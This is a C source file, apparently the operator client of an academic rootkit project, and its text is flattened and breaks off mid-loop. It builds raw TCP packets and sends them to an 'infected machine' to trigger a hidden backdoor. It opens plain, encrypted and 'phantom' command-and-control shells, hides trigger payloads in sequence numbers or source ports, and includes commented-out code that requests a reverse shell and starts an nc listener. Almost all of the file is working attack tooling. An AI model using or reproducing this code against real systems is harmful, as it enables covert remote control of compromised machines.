#define _GNU_SOURCE #include "lib/RawTCP.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../common/constants.h" #include "../common/c&c.h" #include "include/sslserver.h" // For printing with colors #define KGRN "\x1B[32m" #define KYLW "\x1B[33m" #define KBLU "\x1B[34m" #define KMGN "\x1B[35m" #define KRED "\x1B[31m" #define RESET "\x1B[0m" void print_welcome_message(){ printf("*******************************************************\n"); printf("************************* TFG *************************\n"); printf("*******************************************************\n"); printf("************ https://github.com/h3xduck/TFG ***********\n"); printf("*******************************************************\n"); } void print_help_dialog(const char* arg){ printf("\nUsage: %s OPTION victim_IP\n\n", arg); printf("Program OPTIONs\n"); char* line = "-S IP"; char* desc = "Send a secret message to IP"; printf("\t%-40s %-50s\n\n", line, desc); line = "-c IP"; desc = "Activate direct command & control shell with IP"; printf("\t%-40s %-50s\n\n", line, desc); line = "-h"; desc = "Print this help"; printf("\t%-40s %-50s\n\n", line, desc); } void check_ip_address_format(char* address){ char* buf[256]; int s = inet_pton(AF_INET, address, buf); if(s<0){ printf("["KYLW"WARN"RESET"]""Error checking IP validity\n"); }else if(s==0){ printf("["KYLW"WARN"RESET"]""The victim IP is probably not valid\n"); } } /** * @brief Improved version of getting local IP * Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html * * @return char* */ char* getLocalIpAddress(){ char hostbuffer[256]; char* IPbuffer = calloc(256, sizeof(char)); struct hostent *host_entry; int hostname; char buf[BUFSIZ]; printf(">> Which network interface do you want to use?>: "); fgets(buf, BUFSIZ, stdin); if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ buf[strlen(buf)-1] = '\0'; } struct ifaddrs *ifaddr; int family, s; char host[NI_MAXHOST]; if (getifaddrs(&ifaddr) == -1) { perror("getifaddrs"); exit(EXIT_FAILURE); } /* Walk through linked list, maintaining head pointer so we can free list later. */ for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) { if (ifa->ifa_addr == NULL) continue; family = ifa->ifa_addr->sa_family; /* Display interface name and family (including symbolic form of the latter for the common families). */ //printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(family == AF_INET) ? "AF_INET" :(family == AF_INET6) ? "AF_INET6" : "???",family); /* For an AF_INET* interface address, display the address. */ if (family == AF_INET || family == AF_INET6) { s = getnameinfo(ifa->ifa_addr, (family == AF_INET) ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST); if (s != 0) { printf("getnameinfo() failed: %s\n", gai_strerror(s)); exit(EXIT_FAILURE); } //printf("\t\taddress: <%s>\n", host); if(strcmp(ifa->ifa_name, buf)==0){ //Interface we chose printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s (%s)\n", ifa->ifa_name, host); strcpy(IPbuffer, host); return IPbuffer; } } } printf("["KRED"ERROR"RESET"]""That was not a valid interface\n"); freeifaddrs(ifaddr); exit(FAIL); } char* getLocalIpAddress_old(){ char hostbuffer[256]; char* IPbuffer = calloc(256, sizeof(char)); struct hostent *host_entry; int hostname; hostname = gethostname(hostbuffer, sizeof(hostbuffer)); if(hostname==-1){ perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostname"); exit(1); } host_entry = gethostbyname(hostbuffer); if(host_entry == NULL){ perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostbyname"); exit(1); } // To convert an Internet network // address into ASCII string strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0]))); printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s\n", IPbuffer); return IPbuffer; } unsigned short crc16(const unsigned char* data_p, unsigned char length){ unsigned char x; unsigned short crc = 0xFFFF; while (length--){ x = crc >> 8 ^ *data_p++; x ^= x>>4; crc = (crc << 8) ^ ((unsigned short)(x << 12)) ^ ((unsigned short)(x <<5)) ^ ((unsigned short)x); } return crc; } /** * @brief Operates input in phantom shell mode. * Returns whether the connection should keep open (0) or not (otherwise) * * @param buf * @return int */ int phantom_shell_mode(char* buf, char* local_ip, char* dest){ int is_global_command = manage_global_command(buf, NULL, local_ip, dest); if(is_global_command == 1){ //Already finished then, go to next command input return 0; } char* request = calloc(4096, sizeof(char)); strcpy(request, CC_PROT_PHANTOM_COMMAND_REQUEST); strcat(request, buf); packet_t packet; pid_t pid = fork(); if(pid<0){ printf("["KRED"ERROR"RESET"]""Could not fork() process\n"); return 1; } if(pid==0){ packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request); //printf("Sending %s\n", msg); if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); return 1; } exit(0); } //sleep(0.5); printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); packet = rawsocket_sniff_pattern(CC_PROT_PHANTOM_COMMAND_RESPONSE); char* res = packet.payload; //TODO make the shell to fork and wait for response, but accept new requests meanwhile if(strncmp(res, CC_PROT_PHANTOM_COMMAND_RESPONSE, strlen(CC_PROT_PHANTOM_COMMAND_RESPONSE))==0){ //Received a response char *p; p = strtok(res, "#"); p = strtok(NULL, "#"); if(p){ //Print response printf("%s\n", p); }else{ printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n"); } }else if(strncmp(res, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){ printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request); }else if(strncmp(res, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){ printf("[" KGRN "WARN" RESET "]""The backdoor just signaled an ACK. This should not have happened."); }else{ //If at this point, then we failed to identify the backdoor message //We attempt to send a final message indicating we are halting the connection printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf); printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n"); const char *response = CC_PROT_FIN; packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request); if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); return 1; } return 1; } //printf("["KGRN"RESPONSE"RESET"] %s\n", res); free(request); return 0; } /*void get_shell(char* argv){ char* local_ip = getLocalIpAddress(); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); check_ip_address_format(argv); packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL"); printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); pid_t pid; pid = fork(); if(pid < 0){ perror("["KRED"ERROR"RESET"]""Could not create another process"); return; }else if(pid==0){ sleep(1); //Sending the malicious payload if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); }else{ printf("["KGRN"OK"RESET"]""Payload successfully sent!\n"); } }else { //Activating listener char *cmd = "nc"; char *argv[4]; argv[0] = "nc"; argv[1] = "-lvp"; argv[2] = "5888"; argv[3] = NULL; printf("["KBLU"INFO"RESET"]""Trying to get a shell...\n"); if(execvp(cmd, argv)<0){ perror("["KRED"ERROR"RESET"]""Error executing background listener"); return; } printf("["KGRN"OK"RESET"]""Got a shell\n"); } free(local_ip); }*/ void send_secret_packet(char* argv){ //TODO revise this, in wireshark it is seen not to be a TCP packet?????? //Should be working, it did in other projects char* local_ip = getLocalIpAddress(); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); check_ip_address_format(argv); packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, SECRET_PACKET_PAYLOAD); printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); //Sending the malicious payload if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); }else{ printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n"); } free(local_ip); } void activate_command_control_shell(char* argv){ char* local_ip = getLocalIpAddress(); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); check_ip_address_format(argv); packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, CC_PROT_SYN); printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); //Sending the malicious payload if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); return; }else{ printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n"); } printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); //Wait for rootkit ACK to ensure it's up rawsocket_sniff_pattern(CC_PROT_ACK); printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n"); //Received ACK, we proceed to send command while(1){ char buf[BUFSIZ]; printf(""KYLW"c>:"RESET""); fgets(buf, BUFSIZ, stdin); if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ buf[strlen(buf)-1] = '\0'; } char msg[BUFSIZ]; strcpy(msg, CC_PROT_MSG); strcat(msg, buf); packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg); printf("Sending %s\n", msg); if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); return; } printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); packet = rawsocket_sniff_pattern(CC_PROT_MSG); char* res = packet.payload; printf("["KGRN"RESPONSE"RESET"] %s\n", res); } free(local_ip); } //Rootkit backdoor V2 being used - Bvp47 like void activate_command_control_shell_encrypted(char* argv){ char* local_ip = getLocalIpAddress(); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); check_ip_address_format(argv); printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n"); //+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0}; srand(time(NULL)); for(int ii=0; ii> client["""KMGN"phantom shell"RESET"""]>: "); fgets(buf, BUFSIZ, stdin); if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ buf[strlen(buf)-1] = '\0'; } connection_terminate = phantom_shell_mode(buf, local_ip, argv); break; default: break; } } free(local_ip); } //Rootkit backdoor V3 being used - Hive-like void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode){ char* local_ip = getLocalIpAddress(); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); check_ip_address_format(argv); printf("["KBLU"INFO"RESET"]""Crafting malicious packet stream...\n"); //Stream of 3 packets, 4 bytes on each if using sequence numbers for hiding the payload //OR stream of 6 packets, 2 bytes each //Decide depending on selected mode int PAYLOAD_LEN, PACKET_CAPACITY; if(mode == CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM){ PAYLOAD_LEN = CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; PACKET_CAPACITY = CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM; }else if(mode== CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT){ PAYLOAD_LEN = CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; PACKET_CAPACITY = CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT; }else{ printf("["KRED"ERROR"RESET"]""An error occured with the selected mode of payload injection"); return; } stream_t stream = build_standard_packet_stream_empty_payload(PAYLOAD_LEN/PACKET_CAPACITY, 8500, 9000, local_ip, argv); char *payload = calloc(PAYLOAD_LEN, sizeof(char)); srand(time(NULL)); for(int ii=0; ii